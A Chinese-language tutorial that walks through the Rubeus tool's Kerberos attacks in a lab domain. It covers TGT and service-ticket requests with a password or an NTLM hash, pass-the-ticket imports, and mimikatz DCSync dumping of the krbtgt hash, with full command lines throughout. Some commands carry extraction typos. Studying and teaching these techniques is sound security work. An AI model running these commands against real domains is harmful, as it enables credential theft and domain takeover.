Rubeus 是由国外安全研究员@harmj0y 用 C#语言写的一款针对 Kerberos 协 议进行攻击的工具。它在很大程度上改编自@Benjamin Delpy 的 kekeo 工具 和 @Vincent LE TOUX 的 MakeMeEnterpriseAdmin 项目。它可以发起 Kerberos请求,并将请求的票据导入内存中,从而模拟针对 Kerberos 协议各个阶段发起攻击,以方便安全研究员进行研究和学习。Rebeus 提供了大量用于 Kerberos攻击的功能,如TGT认购权证请求、ST 服务票据请求、AS-REP Roasting 攻击、 Kerberoasting 攻击、委派攻击、黄金票据攻击、白银票据攻击等,因此其使用程度远超 Kekeo 工具。以下演示 Rubeus 工具的一些常见的用法。
项目地址:https://github.com/GhostPack/Rubeus
申请TGT认购权证
Rubeus 使用 asktgt 模块请求 TGT 认购权证,可以使用明文、密码哈希 (DES 加密和 RC4 加密) 和 AES Key(AES128 和 AES256)进行认证;其可以将 TGT 认购权证以 base64 格式打印出来、可以将 TGT 认购权证保存为文件,也可以将 TGT 认购权证直接导入到内存中。
将 TGT 认购权证导入到内存中后,想请求什么服务,系统就会自动利用该 TGT 认购权证请求指定服务的 ST 服务票据。
如当 dir 域控或者 dcsync 哈希的时候,会自动请求对应的 ST 服务票据。
asktgt 模块有以下参数,用[]括住的参数说明是可选参数:
- /user:USER :请求的用户名
- </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> :凭据的格 式,有明文密码、des 加密的哈希、NTLM Hash、aes128 和 aes256,以及加密的类型
- [/domain:DOMAIN] :域名
- [/dc:DOMAIN_CONTROLLER] :域控
- [/outfile:FILENAME] :输出的文件
- [/ptt] :pass the ticket,即将票据导入到内存中
- [/luid] :该参数用户将生成的票据用于指定的登录会话(需要管理员权限)
- [/nowrap] :格式更好
- [/opsec]
- [/nopac]:票据中不请求 PAC
如果没有指定/domain 参数,则默认使用主机当前所在域。如果没有指定 /dc 参数,则会使用 DsGetDcName 函数来获取主机当前所在域的域控。
明文密码请求
Rebeus 支持使用明文密码请求 TGT 认购权证。如下命令,使用administrator 的明文密码请求 TGT 认购权证。
#明文密码申请 TGT 认购权证,以 base64 格式打印出来并导入到内存中
Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap /ptt
#明文密码申请 TGT 认购权证,将票据保存为 ticket.kirbi 文件,并导入到内存中
Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap /ptt /out file:ticket.kirbi
以 administrator 身份申请一张 TGT 认购权证,该 TGT 认购权证 以 base64 格式打印出来并导入到内存中。
TGT 认购权证导入内存后,即可访问高权限服务了。通过 dir 命令访问域控和通过 mimikatz 的 DCSync 功能导出域内哈希。
mimikatz.exe "lsadump::dcsync /domain:tmac.com /user:krbtgt /csv" "exit"
也可以将 TGT认购权证保存为 kirbi 票据文件。以 administrator 身份申请一张 TGT 认购权证,该 TGT 认购权证保存为 kirbi 票据文件并导入到内存中。
Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap /ptt /outfile:ticket.kirbi
密码哈希请求
Rubeus 也支持使用密码哈希请求 TGT 认购权证。如下命令,使用administrator 的密码哈希请求 TGT 认购权证。
579DA618CFBFA85247ACF1F800A280A4
#密码哈希申请 TGT 认购权证,以 base64 格式打印出来并导入到内存中
Rubeus.exe asktgt /user:administrator /rc4:579DA618CFBFA85247ACF1F800A280A4 /e nctype:RC4 /nowrap /ptt
#将票据保存为 ticket.kirbi 文件,并导入到内存中,此时不会以 base64 格式打印出来
Rubeus.exe asktgt /user:administrator /rc4:579DA618CFBFA85247ACF1F800A280A4 /e nctype:RC4 /nowrap /ptt /outfile:ticket.kirbi
TGT 认购权证导入内存后,即可访问高权限服务了。通过 dir 命令访问域控和通过 mimikatz 的 DCSync 功能导出域内哈希。
请求ST服务票据
Rubeus 使用 asktgs 模块请求 ST 服务票据,需要提供一张 TGT 认购权证, 提供的 TGT 认购权证可以是 base64 格式的也可以是 kirbi 结尾的票据文件。因此,需要先使用 Rubeus 请求一张 TGT 认购权证,然后再使用 asktgs 模块用该 TGT 认购权证请求指定服务的 ST 服务票据。可以将请求的 ST 服务票据以 base64 格式打印出来、可以将 ST 服务票据保存为文件,也可以将 ST 服务票据直接导入到内存中。
asktgs 模块有以下参数,用[]括住的参数说明是可选参数:
- </ticket:BASE64 | /ticket:FILE.KIRBI> :票据文件
- /service:SPN1,SPN2,… :请求的服务
- [/enctype:DES|RC4|AES128|AES256] :加密类型
- [/dc:DOMAIN_CONTROLLER] :域控
- [/outfile:FILENAME] :输出的文件
- [/ptt] :即将票据导入到内存中
- [/nowrap] :格式更好
- [/enterprise]
- [/opsec]
- </tgs:BASE64 | /tgs:FILE.KIRBI> :指定生成 base64 格式的票据还是票据文件
- [/usesvcdomain]
请求TGT认购权证
#明文密码申请 TGT 认购权证,以 base64 格式打印出来
Rubeus.exe asktgt /user:"administrator" /password:"admin@123" /domain:"tmac.com" /dc:"WIN-3EAQBB8A70H.tmac.com" /nowrap /ptt
请求ST服务票据
用上一步请求的 TGT 认购权证即可请求指定服务的 ST 服务票据了,这里需要注意的是我们平常请求的 CIFS 服务的票据,只能用于 dir 这种操作,而不能使用 mimikatz 的 DCSync 功能。要想使用 mimikatz 的 DCSync 功能,需要请求 LDAP 服务。
请求CIFS服务票据
#请求访问 WIN-3EAQBB8A70H.tmac.com 的 cifs 服务的 ST 服务票据,并导入到内存中
Rubeus.exe asktgs /service:"cifs/WIN-3EAQBB8A70H.tmac.com" /nowrap /ptt /ticket:上一步请求的 T GT 票据的 base64 格式
导入后即可访问dir服务
请求LDAP服务票据
用上一步得到的 TGT 认购权证请求 LDAP 服务的 ST 服务票据。
#请求访问 WIN-3EAQBB8A70H.tmac.com 的 ldap 服务的 ST 服务票据,并导入到内存中
Rubeus.exe asktgs /service:"ldap/WIN-3EAQBB8A70H.tmac.com" /nowrap /ptt /ticket:上一步请求的 TGT 票据的 base64 格式
##通过 mimikatz 的 DCSync 功能导出域用户哈希
mimikatz.exe "lsadump::dcsync /domain:tmac.com /user:krbtgt /csv" "exit"
Rubeus导入票据
Rubeus 支持通过票据文件或者 base64 格式的票据进行导入。票据文件除了可以是 Rubeus 请求生成的票据,也可以是其他工具如 Kekeo请求的票据,只要是以.kirbi 为后缀的均可。
导入base64格式的票据
如果在请求票据的时候没有使用/ptt 参数导入到内存中的话,可以直接使用Rubeus 导入请求的 base64 格式票据,即可访问目标。
使用 administrator 凭据请求 TGT 认购权证,以 base64 格式打印出来,不导入到内存中。
Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap
然后执行如下命令将以上 base64 格式的票据导入到内存中。
#导入票据
Rubeus.exe ptt /ticket:上一步请求的 TGT 票据
导入票据文件
Rubeus 支持导入以.kirbi 为后缀的票据文件。可以是 Rubeus 生成的票据文件,也可以是其他工具如 Kekeo 生成的票据文件。
导入RUbeus生成的票据
使用 Rubeus 生成票据文件,并使用 Rebeus 导入票据文件
#明文密码申请 TGT 认购权证,将票据保存为 ticket.kirbi 文件,此时并不导入到内存中
Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap /outfile:ticket.kirbi
#导入票据
Rubeus.exe ptt /ticket:ticket.kirbi
成功导入票据
导入kekeo生成的票据
#用 Kekeo 申请 TGT 认购权证,此时会生成一个 kirbi 结尾的票据
Kekeo.exe "tgt::ask /user:administrator /domain:tmac.com /password:admin@123" "exit"
#导入票据
Rubeus.exe ptt /ticket:TGT_administrator@TMAC.COM_krbtgt~tmac.com@TMAC.COM.kirbi
导入成功